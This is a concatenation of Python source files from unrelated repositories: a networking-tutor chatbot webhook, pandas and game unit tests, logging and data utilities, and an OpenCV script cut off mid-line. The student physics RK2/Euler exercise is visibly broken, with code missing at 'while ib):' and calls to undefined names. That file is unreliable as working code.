before a retry can be attempted.',\n 'CSMA/CA':'In CSMA/CA collision avoidance is used to improve the performance of CSMA. If the transmission medium is sensed busy before transmission, then the transmission is deferred for a random interval. This random interval reduces the likelihood that two or more nodes waiting to transmit will simultaneously begin transmission upon termination of the detected transmission, thus reducing the incidence of collision.'}\n\n if congestion in con_methods:\n speech = con_methods[congestion]\n else:\n speech = \"This method is not part of layer 2's congestion control!\"\n\n if congestion == \"RED\":\n return {\"followupEvent\":{\"name\":\"red_con\",\"data\":{\" \":\" \"}}}\n\n if congestion == \"congestion control general\":\n return {\"followupEvent\":{\"name\":\"con_general\",\"data\":{\" \":\" \"}}}\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\ndef congestion_control_layer4(congestion):\n con_methods = {'reno':'If three duplicate ACKs are received, Reno will perform a fast retransmit and skip the slow start phase (which is part of Tahoe s procedure) by instead halving the congestion window (instead of setting it to 1 MSS like Tahoe), setting the slow start threshold equal to the new congestion window, and enter a phase called Fast Recovery.',\n 'tahoe':'If three duplicate ACKs are received, Tahoe performs a fast retransmit, sets the slow start threshold to half of the current congestion window, reduces the congestion window to 1 MSS, and resets to slow start state',\n 'TCP congestion control':'Congestion control via TCP is deployed either with Reno or Tahoe. Whenever duplicate ACKs are received either a slow start or a fast recovery is performed'}\n #speech = con_methods[congestion]\n if congestion in con_methods:\n speech = con_methods[congestion]\n else:\n speech = \"This method is not part of layer 4's congestion control!\"\n\n if congestion == \"RED\":\n return {\"followupEvent\":{\"name\":\"red_con\",\"data\":{\" \":\" \"}}}\n\n if congestion == \"congestion control general\":\n return {\"followupEvent\":{\"name\":\"con_general\",\"data\":{\" \":\" \"}}}\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\n\ndef makeWebhookResultTriggerEvent():\n speech = \"It looks like you triggered an event!\"\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\",\n \"followupEvent\":{\"name\":\"eventtry\",\"data\":{\" \":\" \"}}\n }\n #\"speech\": speech,\n #\"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n #\"source\": \"apiai-weather-webhook-sample\"\n #\"followupEvent\": \"eventtry\"\n #}\n\ndef makeWebhookResultLayerAbout(layer):\n layerdef = {'physical layer':'The physical layer handels mechanical and electrical/optical linkage. It converts logical symbols into electrical(optical) ones and measures optical signals to reconstruct logical symbols', \n 'data link layer':'The data link layer covers transmission errors and handels media access. It is also concerned with congestion control.', \n 'network layer':'On the network layer paths from senders to recipients are chosen. Hence this layer also has to cope with heterogenius subnets and is responsibe for accounting.',\n 'transport layer':'The transport layer offers secure end-to-end-communication between processes. Therefore it is also in charge for data stream control between endsystems. A few concerns of this layer are multiplexing, segmentation and acknowledgements in order to provide reliable transmission.',\n 'session layer':'The name of this layer almost gives all its functionalities away! It mostly deals with communication managment, dialog control and synchronization.',\n 'presentation layer':'Converting between dataformats, compression and decrompession as well as encryption are the main converns of the presentation layer.',\n 'application layer':'Its name almost tells it all. The application layer handels communication between applications and deals with application specific services like e-mail, telnet etc.',\n 'layer':'Alright! Layers basically are subdivisions of communication models. A Layer basically is a collection of similar functions that provide services to the layer above it and receives services from the layer below it.',\n 'internet':'The internet layer has the same responsabilites as the third layer of the OSI model (which would be the network layer).',\n 'link':'The link layer corresponds to the OSI model layers 1 and 2 (physical layer and data link layer).'}\n #maybe add a would you like to hear more right here! Would be a nice conversation flow!\n\n #might check if layer is defined in our dic!\n speech = layerdef[layer]\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\ndef makeWebhookResult(data):\n query = data.get('query')\n if query is None:\n return {}\n\n result = query.get('results')\n if result is None:\n return {}\n\n channel = result.get('channel')\n if channel is None:\n return {}\n\n item = channel.get('item')\n location = channel.get('location')\n units = channel.get('units')\n if (location is None) or (item is None) or (units is None):\n return {}\n\n condition = item.get('condition')\n if condition is None:\n return {}\n\n # print(json.dumps(item, indent=4))\n\n speech = \"Today in \" + location.get('city') + \": \" + condition.get('text') + \\\n \", the temperature is \" + condition.get('temp') + \" \" + units.get('temperature')\n\n print(\"Response:\")\n print(speech)\n\n return {\n \"speech\": speech,\n \"displayText\": speech,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\ndef makeWebhookResultForGetJoke(data):\n valueString = data.get('value')\n joke = valueString.get('joke')\n speechText = joke\n displayText = joke\n return {\n \"speech\": speechText,\n \"displayText\": displayText,\n # \"data\": data,\n # \"contextOut\": [],\n \"source\": \"apiai-weather-webhook-sample\"\n }\n\n\nif __name__ == '__main__':\n port = int(os.getenv('PORT', 5000))\n\n print(\"Starting app on port %d\" % port)\n\n app.run(debug=False, port=port, host='0.0.0.0')\n", "source": "mahou-neko/api-chatcat", "license": "Apache-2.0"} {"text": "import pandas.core.pytools as pytools\n\ndef test_rands():\n r = pytools.rands(10)\n assert(len(r) == 10)\n\ndef test_adjoin():\n data = [['a', 'b', 'c'],\n ['dd', 'ee', 'ff'],\n ['ggg', 'hhh', 'iii']]\n expected = 'a dd ggg\\nb ee hhh\\nc ff iii'\n\n adjoined = pytools.adjoin(2, *data)\n\n assert(adjoined == expected)\n\ndef test_iterpairs():\n data = [1, 2, 3, 4]\n expected = [(1, 2),\n (2, 3),\n (3, 4)]\n\n result = list(pytools.iterpairs(data))\n\n assert(result == expected)\n\ndef test_indent():\n s = 'a b c\\nd e f'\n result = pytools.indent(s, spaces=6)\n\n assert(result == ' a b c\\n d e f')\n\ndef test_banner():\n ban = pytools.banner('hi')\n assert(ban == ('%s\\nhi\\n%s' % ('=' * 80, '=' * 80)))\n\ndef test_map_indices_py():\n data = [4, 3, 2, 1]\n expected = {4 : 0, 3 : 1, 2 : 2, 1 : 3}\n\n result = pytools.map_indices_py(data)\n\n assert(result == expected)\n\ndef test_union():\n a = [1, 2, 3]\n b = [4, 5, 6]\n\n union = sorted(pytools.union(a, b))\n\n assert((a + b) == union)\n\ndef test_difference():\n a = [1, 2, 3]\n b = [1, 2, 3, 4, 5, 6]\n\n inter = sorted(pytools.difference(b, a))\n\n assert([4, 5, 6] == inter)\n\ndef test_intersection():\n a = [1, 2, 3]\n b = [1, 2, 3, 4, 5, 6]\n\n inter = sorted(pytools.intersection(a, b))\n\n assert(a == inter)\n\n", "source": "willgrass/pandas", "license": "BSD-3-Clause"} {"text": "import pandas as pd\n\n\nclass Bookkeeper:\n def __init__(self):\n # Instantiate a new data frame.\n self.metric = pd.DataFrame(\n columns=[\"Strategy Name\", \"Percent Change\", \"Trades Made\"]\n )\n\n def log(self):\n # Log the data frame while ignoring the index.\n print(self.metric.to_string(index=False))\n\n def handler(self, data):\n # Append new data to the data frame.\n self.metric = self.metric.append(\n {\n \"Strategy Name\": data[0],\n \"Percent Change\": \"{:.2f}%\".format(data[1]),\n \"Trades Made\": data[2],\n },\n ignore_index=True,\n )\n", "source": "kyhorne/trading_sim", "license": "MIT"} {"text": "from datetime import (\n date,\n)\nfrom decimal import (\n Decimal,\n)\n\nfrom day7.tests import (\n BaseTest,\n)\n\nfrom implementation import (\n get_top_product_by_total_count_in_period,\n)\n\n\nclass ModelTest(BaseTest):\n\n def test_january(self):\n self.assertEqual(get_top_product_by_total_count_in_period(date(2021, 1, 1), date(2021, 1, 31)), [('\u041c\u043e\u043b\u043e\u043a\u043e', 10)])\n\n def test_febraury(self):\n self.assertEqual(get_top_product_by_total_count_in_period(date(2021, 2, 1), date(2021, 2, 28)), [('\u041c\u043e\u043b\u043e\u043a\u043e', 4)])\n\n def test_march(self):\n self.assertEqual(get_top_product_by_total_count_in_period(date(2021, 3, 1), date(2021, 3, 31)), [('\u041c\u043e\u043b\u043e\u043a\u043e', 8)])\n\n def test_april(self):\n self.assertEqual(get_top_product_by_total_count_in_period(date(2021, 4, 1), date(2021, 4, 30)), [])", "source": "RitisBarauskas/worker", "license": "MIT"} {"text": "import sys\nimport os\nimport time\nfrom time import sleep\nimport re\n\nhashMap = []\n\nclass Message(object):\n\tdef __init__(self, msg, length, mtag, seqnum, sender, receivers = [], asender = 0):\n\t\tself.msg = \"src:\" + asender + \":mtag:\" + mtag + \":\" + msg\n\t\tself.length = length\n\t\tself.mtag = mtag\n\t\tself.sender = sender\n\t\tself.receivers = receivers\n\t\tself.seqnum = seqnum\n\t\n\tdef debug_print(self):\n\t\tprint \"Sending Message of length \" + str(self.length) + \" from \" + self.sender + \" to \" + \",\".join(self.receivers)\n\t\tprint \"Message is : \" + self.getMessage()\n\t\n\tdef getSender(self):\n\t\treturn self.sender\n\n\tdef getReceivers(self):\n\t\treturn self.receivers\n\t\n\tdef getMessage(self):\n\t\treturn self.msg\n\n\tdef getPacketSize(self):\n\t\treturn self.length\n\n\tdef getNoOfReceivers(self):\n\t\treturn len(self.receivers)\n\t\n\tdef getMtag(self):\n\t\treturn self.mtag\n\n\tdef getSeqNum(self):\n\t\treturn self.seqnum\n\ndef parseFile(filename):\n\ttext_file = open(filename, \"r\")\n\tmatchObj = re.match( r'.*message(\\d+)', filename, re.M|re.I)\n\tseqnum = matchObj.group(1)\n\tlines = text_file.readlines()\n\ttext_file.close()\n\tfor i in range(0,len(lines)):\n\t\tlines[i] = lines[i].strip('\\r\\n')\n\tsender = 'h' + lines[0]\n\tasender = lines[0]\n\tmtag = lines[1]\n\tnr = lines[2]\n\tnr = int(nr)\n\trecvs = lines[3:3+nr]\n\tfor i in range(0, len(recvs)):\n\t\trecvs[i] = \"h\" + recvs[i]\n\tlength = lines[3+nr]\n\tcontent = lines[3+nr+1:len(lines)]\n\tmsg = \"\"\n\tfor m in content:\n\t\tmsg += m\n\treturn Message(msg, length, mtag, seqnum, sender, recvs, asender)\n\ndef getPath():\n\treturn \"/usr/local/home/cse222a05/GroupFlow/groupflow_scripts/input/\"\n\ndef watchForFiles():\n\tglobal hashMap\n\tpath = getPath()\n\twhile True:\n\t\tprint 'Waiting for new message...'\n\t\tfilelist = [os.path.join(path, fn) for fn in next(os.walk(path))[2]]\n\t\tfilelist = filter(lambda x: not os.path.isdir(x), filelist)\n\t\tnewest = max(filelist, key=lambda x: os.stat(x).st_mtime)\n\t\tif newest not in hashMap:\n\t\t\treturn newest\n\t\tfor f in filelist:\n\t\t\tif f not in hashMap:\n\t\t\t\treturn f\n\t\tsleep(1)\n\ndef initHashMap():\n\tfileobj = open(\"/usr/local/home/cse222a05/GroupFlow/groupflow_scripts/msglist\", \"r\")\n\tmsgs = fileobj.readlines();\n\tfor i in range(0,len(msgs)):\n\t\tmsgs[i] = msgs[i].strip('\\r\\n')\n\t\thashMap.append(msgs[i])\n\tfileobj.close()\n\ndef writeHashMap(filename):\n\tfileobj = open(\"/usr/local/home/cse222a05/GroupFlow/groupflow_scripts/msglist\", \"a\")\n\tfileobj.write(filename + \"\\n\")\n\tfileobj.flush()\n\tfileobj.close()\n\ndef getFiles():\n\tpath = \"/usr/local/home/cse222a05/GroupFlow/groupflow_scripts/input/\"\n\tpaths = [os.path.join(path,fn) for fn in next(os.walk(path))[2]]\n\tprint paths\n\ndef recvMsg():\n\tglobal hashMap\n\tinitHashMap()\n\tprint 'Waiting for message from MPI Application...'\n\tfilename = watchForFiles()\n\tprint filename\n\tprint 'Got a message. Preparing to send '\n\tmessage = parseFile(filename)\n\tmessage.debug_print()\n\twriteHashMap(filename)\n\treturn message\n", "source": "kvasukib/groupflow_simulator", "license": "Apache-2.0"} {"text": "\"\"\"\nClasses for user pers.\n\nClasses\n Personality\n Conditional\n\"\"\"\n\n\nclass Personality:\n \"\"\"\n Represents a user's decision making.\n\n The idea is to get all Conditional objects in goals to be true and false in limits.\n This allows a user to make decisions by mapping functions to changed output.\n\n :param list gl: Conditionals to make true.\n :param list lim: Conditionals to keep false.\n :param list funct: Functions usable by users.\n \"\"\"\n\n def __init__(self, gl=None, lim=None, funct=None):\n \"\"\"Constructor\"\"\"\n if gl is None:\n self.goals = []\n else:\n self.goals = gl\n if lim is None:\n self.limits = []\n else:\n self.limits = lim\n if funct is None:\n self.functions = []\n else:\n self.functions = funct\n\n def __str__(self):\n return \"g:{}, l:{} f:{}\".format(self.goals, self.limits, self.functions)\n\n\nclass Conditional:\n \"\"\"\n Put two objects in to have a constantly updating way to compare them.\n\n :param any a: Thing one.\n :param str a_atr: The part of a to check.\n :param any b: Thing two.\n :param str b_atr: The part of b to check.\n :param str evalType: How Conditional compares a and b.\n\n Methods\n distance(): Calculate how far apart a and b are.\n \"\"\"\n\n def __init__(self, a, a_atr, b, b_atr, evalType):\n \"\"\"Constructor\"\"\"\n self.a = a\n self.aAttribute = a_atr\n self.b = b\n self.bAttribute = b_atr\n self.evalType = evalType\n\n def __bool__(self):\n \"\"\"\n Returns true or false depending on a, b, and evalType. Defaults to false if bad evalType.\n \"\"\"\n e = self.evalType\n if self.aAttribute is None:\n a = self.a\n else:\n a = self.a.__getattribute__(self.aAttribute)\n if self.bAttribute is None:\n b = self.b\n else:\n b = self.b.__getattribute__(self.bAttribute)\n\n if e == '=':\n return a == b\n elif e == '!':\n return a != b\n elif e == \">\":\n return a > b\n elif e == \"<\":\n return a < b\n elif e == \">=\":\n return a >= b\n elif e == \"<=\":\n return a <= b\n elif e == \"is\":\n return a is b\n else:\n return False\n\n def distance(self):\n \"\"\"\n Calculate how far apart a and b are.\n\n For numerical values its the absolute value of the difference.\n For booleans this returns 0 for matching values.\n For lists, strings, and a being a tuple return how many matches there are between a and b.\n \"\"\"\n if self.aAttribute is None:\n a = self.a\n else:\n a = self.a.__getattribute__(self.aAttribute)\n if self.bAttribute is None:\n b = self.b\n else:\n b = self.b.__getattribute__(self.bAttribute)\n if isinstance(a, (int, float)) and isinstance(b, (int, float)):\n return abs(a - b)\n elif isinstance(a, bool) and isinstance(b, bool):\n if a == b:\n return 0\n else:\n return 1\n elif isinstance(a, (list, str, tuple)) and isinstance(b, (list, str)):\n matches = 0\n b = list(b)\n for i in a:\n for f in b:\n if i == f:\n matches += 1\n b.remove(f)\n break\n return abs(a.__len__() - matches)\n else:\n return None\n", "source": "jll123567/Sysh", "license": "MIT"} {"text": "from termcolor import colored\nimport logging\nimport time\nimport os\nimport json\nfrom pathlib import Path\nimport shutil\n\n\nclass Logger:\n def __init__(self):\n self.__logger = logging.getLogger()\n Logger.mkdir_if_not_exist('logs')\n __file_name = 'logs/' + time.strftime('%Y-%m-%d', time.localtime(time.time())) + '.log'\n __handler = logging.FileHandler(filename=__file_name, mode='a', encoding='utf-8')\n __formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\n __handler.setFormatter(__formatter)\n self.__logger.addHandler(__handler)\n self.__logger.setLevel(logging.DEBUG)\n\n def d(self, msg, *args, **kwargs):\n self.__logger.debug(msg, *args, **kwargs)\n\n def i(self, msg, *args, **kwargs):\n self.__logger.info(msg, *args, **kwargs)\n\n def w(self, msg, *args, **kwargs):\n self.__logger.warning(msg, *args, **kwargs)\n\n def e(self, msg, *args, **kwargs):\n self.__logger.error(msg, *args, **kwargs)\n\n @staticmethod\n def info(msg):\n print(colored(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \":\" + str(msg), 'yellow'))\n\n @staticmethod\n def success(msg):\n print(colored(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \":\" + str(msg), 'green'))\n\n @staticmethod\n def error(msg):\n print(colored(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \":\" + str(msg), 'red'))\n\n @staticmethod\n def debug(msg):\n print(colored(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \":\" + str(msg), 'blue'))\n\n @staticmethod\n def mkdir_if_not_exist(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef filter_unsynced_image_tags(fetched_dict=None, synced_list=None):\n \"\"\"\n sample data of fetched_list :\n {\n \"name\": \"gcr.io/kubernetes-helm/tiller\",\n \"tags\": [\n \"canary\",\n \"test-release\",\n \"v2.0.0\",\n ]\n }\n \"\"\"\n if not isinstance(fetched_dict, dict) or not isinstance(synced_list, list):\n Logger.error(\"filter unsynced list cause some unexcept status, the fetched_dict type is: {}, synced_list type \"\n \"is:{}\".format(str(type(fetched_dict)), str(type(synced_list))))\n return fetched_dict\n for do_item in synced_list:\n if not isinstance(do_item, dict):\n continue\n\n if do_item['name'] == fetched_dict['name']:\n no_duplicate_tags = remove_duplicates_item(do_item['tags'], fetched_dict['tags'])\n return {'name': fetched_dict['name'], 'tags': no_duplicate_tags}\n Logger.info(\"can not match the same dict, direct return fetched_list, fetched_dict's name: {}\".format(str(fetched_dict['name'])))\n return {'name': fetched_dict['name'], 'tags': fetched_dict['tags']}\n\n\ndef remove_duplicates_item(fl=None, sl=None):\n if not isinstance(fl, list) and not isinstance(sl, list):\n return sl\n for fli in fl:\n if fli in sl:\n sl.remove(fli)\n return sl\n\n\ndef add_synced_image_tags(success_list=None, synced_list=None):\n if not isinstance(success_list, list) or not isinstance(synced_list, list):\n Logger.error(\"add synced image error, return success_list directly.\")\n return success_list\n temp = []\n combin_synced = []\n combin_success = []\n for s in synced_list:\n for i in success_list:\n if s['name'] == i['name']:\n temp.append({'name': s['name'], 'tags': list(set(s['tags']+i['tags']))})\n combin_success.append(i)\n combin_synced.append(s)\n\n for i in range(len(combin_synced)):\n if combin_success[i] in success_list:\n success_list.remove(combin_success[i])\n if combin_synced[i] in synced_list:\n synced_list.remove(combin_synced[i])\n\n temp = temp+synced_list+success_list\n return remove_duplicate(temp)\n\n\ndef load_jsond(filename, load_after_delete=True, rm_dupliacate=True):\n if not os.path.exists(os.path.join(get_dir(), filename)):\n Logger.error(\"[load_jsond] can not found the target file of path: {}\".format(filename))\n return None\n cache = open(os.path.join(get_dir(), filename), \"r\")\n undo_task = json.load(cache)\n cache.close()\n if load_after_delete:\n os.remove(os.path.join(get_dir(), filename))\n if rm_dupliacate:\n return remove_duplicate(undo_task)\n return undo_task\n\n\ndef save_jsond(filename, data=None, overwrite=True):\n if overwrite and os.path.exists(os.path.join(get_dir(), filename)):\n os.remove(os.path.join(get_dir(), filename))\n file = open(os.path.join(get_dir(), filename), \"w\")\n json.dump(data, file)\n file.close()\n\n\ndef update_synced_list(synced_list=None, namespace=None):\n synced = load_jsond(f'{namespace}-synced.json')\n save_jsond(f'{namespace}-synced.json', add_synced_image_tags(synced_list, synced))\n\n\ndef get_dir():\n dir_path = os.path.dirname(os.path.realpath(__file__))\n return Path(dir_path).parent\n\n\ndef remove_duplicate(data_list):\n if data_list is None or len(data_list) <= 0:\n return data_list\n temp = []\n for item in data_list:\n if item not in temp:\n temp.append(item)\n return temp\n\n\ndef show_disk():\n try:\n total, used, free = shutil.disk_usage(r'/var/lib/docker')\n Logger.info(\"Total: {}GB, Used: {} GB, Free: {}GB\".format(str((total // (2**30))), str((used // (2**30))), str((free // (2**30)))))\n except Exception:\n return\n\n\ndef update_trigger(trigger=False, force=False):\n synced = load_jsond('trigger.json', False, False)\n if synced is None:\n synced = {'trigger': trigger}\n\n if isinstance(synced, list):\n synced = synced[0]\n\n if force:\n synced['trigger'] = trigger\n else:\n if not synced['trigger']:\n synced['trigger'] = trigger\n\n save_jsond('trigger.json', synced, True)\n\n\ndef read_trigger():\n synced = load_jsond('trigger.json', True, False)\n if synced is None:\n return True\n else:\n if 'trigger' in synced:\n return synced['trigger']\n else:\n return True\n", "source": "Doublemine/gcr.io-mirror", "license": "MIT"} {"text": "from src.utils import datetime_to_string\nfrom src.config import (EPOCH, DATE, START_DATE, END_DATE, AMOUNT,\n TXN_FEE, FIAT_USD, PRICE_USD, VALUE_USD, CARDANO)\n\n\nclass Data():\n def __init__(self, date, amount, txn_fee):\n self.date = date\n self.amount = amount\n self.txn_fee = txn_fee\n self.price_and_value = {}\n\n def get_fields(self, ticker):\n return [DATE, AMOUNT.format(ticker=ticker), TXN_FEE.format(currency=ticker), PRICE_USD, VALUE_USD, TXN_FEE.format(currency=FIAT_USD)]\n\n def to_dict(self, ticker):\n amount_field = AMOUNT.format(ticker=ticker)\n ticker_fee_field = TXN_FEE.format(currency=ticker)\n usd_fee_field = TXN_FEE.format(currency=FIAT_USD)\n\n price = self.price_and_value[FIAT_USD][\"price\"]\n\n return {\n DATE: datetime_to_string(self.date),\n amount_field: self.amount,\n ticker_fee_field: self.txn_fee,\n PRICE_USD: price,\n VALUE_USD: self.price_and_value[FIAT_USD][\"value\"],\n usd_fee_field: self.txn_fee * price\n }\n\n\nclass CardanoData(Data):\n def __init__(self, epoch, start_date, end_date, amount, txn_fee):\n super().__init__(date=end_date, amount=amount, txn_fee=txn_fee)\n\n self.epoch = epoch\n self.start_date = start_date\n self.end_date = end_date\n\n def get_fields(self, ticker):\n return [EPOCH, START_DATE, END_DATE, AMOUNT.format(ticker=ticker), PRICE_USD, VALUE_USD]\n\n def to_dict(self, ticker=CARDANO):\n amount_field = AMOUNT.format(ticker=ticker)\n\n return {\n EPOCH: self.epoch,\n START_DATE: datetime_to_string(self.start_date),\n END_DATE: datetime_to_string(self.end_date),\n amount_field: self.amount,\n PRICE_USD: self.price_and_value[FIAT_USD][\"price\"],\n VALUE_USD: self.price_and_value[FIAT_USD][\"value\"],\n }\n\n\nclass SavingsData(Data):\n def __init__(self, date, amount):\n super().__init__(date=date, amount=amount, txn_fee=0)\n\n def get_fields(self, ticker):\n return [DATE, AMOUNT.format(ticker=ticker), PRICE_USD, VALUE_USD]\n\n def to_dict(self, ticker):\n amount_field = AMOUNT.format(ticker=ticker)\n\n price = self.price_and_value[FIAT_USD][\"price\"]\n\n return {\n DATE: datetime_to_string(self.date),\n amount_field: self.amount,\n PRICE_USD: price,\n VALUE_USD: self.price_and_value[FIAT_USD][\"value\"]\n }\n", "source": "RyanLiu6/crypto-tracker", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 27 23:35:00 2019\n\nExercise 20\n\n@author: Lauren King\n\"\"\"\n#from visual.graph import gdisplay\n#from visual.graph import gcurve\n#import visual.graph as g\n\nimport numpy as np\nimport scipy as sc\n\n\n\n\nt=np.arange(0,10.001,.01)\n\ny1=zeros((2),float)\ny=zeros((2),float)\nfReturn=zeros((2),float)\nk1=zeros((2),float)\ny2=zeros((2),float)\n\nxpos=np.arange(0,10.001,.01)\n\n\nvel=np.arange(0,10.001,.01)\n\nvtemp=0\nxtemp=0\n\n\nprint(y)\ny[0]=0\ny[1]=.001\nh=.01\n\ndef f(k,x,p):\n fReturn=-k*(x**(p-1))\n return fReturn\n\n#graph1= gdisplay(x=0,y=0,width=400,height=400)\n#funct1=gcurve(color=color.yellow)\n#graph2=gdisplay(x=400,y=0,width=400,height=400)\n#funct2=gcurve(color=color.red)\n\ndef rk2(m,x,v,k,p,h):\n vel[0]=v\n xpos[0]=x\n vtemp=v\n xtemp=x\n #k1= [0]*(n)\n #k2= [0]*(n)\n #fR= [0]*(n)\n #y1= [0]*(n)\n #fR=f(x,p)\n i=1\n while i < ((10/h)-1):\n va= vtemp+h*f(k,xtemp,p)/2\n xa= xtemp+h*vtemp/2\n vtemp= vtemp+h*f(k,xa,p)\n xtemp=xtemp+h*va\n vel[i]=vtemp\n xpos[i]=xtemp\n i=i+1\n return vel,xpos \n \n #for i in range(0,n):\n # y1[i]=y[i]+k1[i]/2.\n # k2=h*f(x+h/2.,2) \n # for i in range(0,2):\n # y[i]=y[i]+(k1[i]+2*k2[i])\n # return y\n\n\nxarr=np.arange(0,10.0001,.01)\nxarr[0]=.001\n\nyarr=np.arange(0,10.0001,.01)\nyarr[0]=.001\n\ni=1\n\nh=.01\ndef euler(m,x,v,k,p,h):\n i=1\n xarr=np.arange(0,10.001,.01)\n xarr[0]=x\n yarr=np.arange(0,10.001,.01)\n yarr[0]=v\n \n t=np.arange(0,10.001,.01)\n \n while ib):\n# h=b-t\n# y=rk2(.001,.01,2)\n# x=x+h\n #rate(30)\n #funct1.plot(pos=(x,y[0]))\n #funct2.plot(pos=(x,y[1]))\n#plt.plot(x,y[0]) \n#plt.plot(x,y[1]) \n\nm=2\nv0=0\nx0=2\nk=10\nh=.01\n\na=rk2(m,x0,v0,k,2,h)\nb=euler(m,x0,v0,k,2,h)\n#print(a)\nprint(b)\nplt.plot(t,a[0])\nplt.plot(t,a[1])\n\nplt.show()\n\nplt.plot(t,b[0])\nplt.plot(t,b[1])\n\n\n#plt.plot(t,xpos)\n\n \n \n \n \n ", "source": "leking6176/PHYS-3211", "license": "MIT"} {"text": "# Roll 'n' Jump\n# Written in 2020, 2021 by Samuel Arsac, Hugo Buscemi,\n# Matteo Chencerel, Rida Lali\n# To the extent possible under law, the author(s) have dedicated all\n# copyright and related and neighboring rights to this software to the\n# public domain worldwide. This software is distributed without any warranty.\n# You should have received a copy of the CC0 Public Domain Dedication along\n# with this software. If not, see\n# .\n\n\"\"\"Fichier de test pour player.\"\"\"\n\nfrom hypothesis import given\nfrom hypothesis.strategies import integers\nimport rollnjump.main as main\nimport rollnjump.sprites as spt\nimport rollnjump.conf as cf\nimport rollnjump.utilities as ut\nimport rollnjump.player as plyr\nimport rollnjump.gameloop as gml\nimport rollnjump.item as it\nimport rollnjump.platforms as plt\n\n\n# Test du saut du joueur\n\ndef test_jump():\n \"\"\"Test pour la m\u00e9thode de saut de la classe Player.\"\"\"\n cf.NB_PLAYERS = 1\n _, player = main.initialization(False)\n player = player[0]\n cf.STATE = cf.State.ingame\n # Lancement du saut\n player.jump()\n assert player.vel.y == -cf.V_JMP\n # Quelques tours de boucle\n for _ in range(10):\n gml.main_loop([player], False)\n # Vitesse finale, avec pr\u00e9cision prise en compte\n assert player.vel.y <= -cf.V_JMP + 10 * cf.G + 0.001\\\n and player.vel.y >= -cf.V_JMP + 10 * cf.G - 0.001\n # V\u00e9rification de la possibilit\u00e9 d'un double saut\n player.jump()\n assert player.vel.y == -cf.V_JMP\n\n\n# Test du mouvement du joueur\n\n@given(integers(min_value=0, max_value=100),\n integers(min_value=0, max_value=100))\ndef test_move(velx, vely):\n \"\"\"Test pour la m\u00e9thode move de la classe Player.\"\"\"\n main.initialization(False)\n spt.ground = ut.group_sprite_define()\n player = plyr.Player()\n xinit, yinit = player.pos.x, player.pos.y\n player.vel = ut.Vec(velx, vely)\n player.move()\n vely += player.acc.y\n assert player.pos.x <= xinit + velx + 0.5 * player.acc.x + 0.001\\\n and player.pos.x >= xinit + velx + 0.5 * player.acc.x - 0.001\n assert player.pos.y <= yinit + vely + 0.5 * player.acc.y + 0.001\\\n and player.pos.y >= yinit + vely + 0.5 * player.acc.y - 0.001\n\n player.timer = 1\n player.state = \"little\"\n player.move()\n assert player.state == \"normal\"\n player.state = \"fast\"\n player.move()\n assert player.vel.x == cf.V_ITEM[\"fast\"]\n player.pos.x = (3 * cf.SCREEN_WIDTH) // 4\n player.move()\n assert player.vel.x == 0\n player.state = \"slow\"\n player.move()\n assert player.vel.x == cf.V_ITEM[\"slow\"]\n player.pos.x = -player.width // 2\n player.move()\n assert player.vel.x == 0\n\n player.state = \"normal\"\n item = it.Item()\n item.pos = player.pos\n item.update()\n ut.add_to_group(item, spt.items)\n player.vel = ut.Vec((0, 0))\n player.acc = ut.Vec((0, 0))\n player.move()\n assert player.state != \"normal\"\n\n player.state = 'delay'\n player.timer = 1\n player.move()\n assert player.state == \"big\"\n\n\ndef test_change_state():\n \"\"\"Test pour la m\u00e9thode change_state.\"\"\"\n main.initialization(False)\n player = plyr.Player()\n player.change_state('little')\n assert player.width, player.height == cf.SIZE[\"little\"]\n player.change_state('big')\n assert player.width, player.height == cf.SIZE[\"big\"]\n\n\ndef test_end_item():\n \"\"\"Test pour la m\u00e9thode end_item.\"\"\"\n main.initialization(False)\n player = plyr.Player()\n player.vel.x = cf.V_ITEM['fast']\n player.change_state('little')\n player.end_item()\n assert player.width, player.height == cf.SIZE[\"normal\"]\n assert player.vel.x == 0\n\n player.vel.x = cf.V_ITEM['slow']\n player.change_state('big')\n player.end_item()\n assert player.width, player.height == cf.SIZE[\"normal\"]\n assert player.vel.x == 0\n\n # D\u00e9lai en cas d'obstacle\n plat = plt.Platform(player.pos, (1, 1))\n ut.add_to_group(plat, spt.ground)\n player.state = 'little'\n player.end_item()\n assert player.width, player.height == cf.SIZE[\"little\"]\n", "source": "tinylinux/m1platformer", "license": "CC0-1.0"} {"text": "import cv2\nimport numpy as np\n\n# ! Global Variables\npts1 = np.zeros((4,2))\ncounter = 0\noutput_width, output_height = 300, 400\n\n# * Function creation for getting the points where mouse clicked\ndef onClick(event,x,y,flag,img):\n global counter # ! Accessing the Global Variables\n if event == cv2.EVENT_LBUTTONDBLCLK:\n pts1[counter] = x,y\n counter = counter + 1\n cv2.circle(img,(x,y),4,(0,0,255),-1)\n cv2.putText(img,str(counter),(x-5,y-10),cv2.FONT_HERSHEY_SCRIPT_SIMPLEX,.5,(0,0,255))\n\n# * Main Function\ndef main():\n global pts1, counter, output_width, output_height # ! Accessing the Global Variables\n \n # * Getting the Image Location\n path = input('Enter the Image location = ')\n img = cv2.imread(path)\n imgC = img.copy()\n \n # * Creating the Window\n windowName = 'Main Image'\n cv2.namedWindow(windowName)\n\n # * Binding the Event\n cv2.setMouseCallback(windowName,onClick,img)\n\n while True:\n # * Condition that click corners are clicked or not\n if counter == 4:\n pts1 = np.float32(pts1)\n pts2 = np.float32([[0,0],[output_width,0],[0,output_height],[output_width,output_height]])\n matix = 